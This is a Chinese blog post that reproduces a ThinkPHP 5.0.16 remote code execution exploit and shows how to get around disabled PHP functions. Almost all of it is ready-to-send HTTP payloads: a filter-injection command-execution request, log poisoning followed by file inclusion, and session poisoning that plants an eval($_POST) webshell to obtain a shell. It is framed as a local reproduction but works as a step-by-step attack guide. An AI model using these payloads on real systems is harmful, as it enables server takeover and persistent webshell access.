thinkphp5.x在函数禁用的情况下绕过

描述

测试的时候发现一个thinkphp的网站,有tp5的漏洞但无法执行命令,但没机会进行后续测试,所有在这里自己搭建环境进行复现一下。

使用的是tp5.0.16

一开始使用网上的payload打一直不成功,提示函数被进禁用

payload如下

POST /?s=captcha
    
_method=__construct&filter[]=system&method=get&get[]=whoami

disable_function禁用了以下函数

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server

突破

常见的tp5突破方式有两种
1.写日志,让后包含日志文件getshell。

首先要知道日志路径,假设路径为../runtime/log/202108/26.log

然后就可以往日志中写shell了

首先使tp5报错将内容写进日志文件

POST /?s=captcha

_method=<? phpinfo();?>

然后包含日志文件

POST /?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get
[]=../runtime/log/202108/26.log

2.写session,然后包含session文件

找到环境session存在的位置,可以在phpinfo中看到

将shell写进session中

POST /?s=captcha
Cookie: PHPSESSID=aaaa
    
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

包含session文件 getshell

POST /?s=captcha

_method=__construct&method=get&filter[]=think\__include_file&get[]=../../../Extensions\tmp\tmp/sess_aaaa&server[]=1

直接用蚁剑链接成功

​参考文章

https://forum.90sec.com/t/topic/704

https://www.cnblogs.com/nul1/p/11991374.html 这篇文章讲了在有waf的情况下通过伪协议绕过

posted @ 2021-08-27 14:35  one-seven  阅读(975)  评论(0编辑  收藏  举报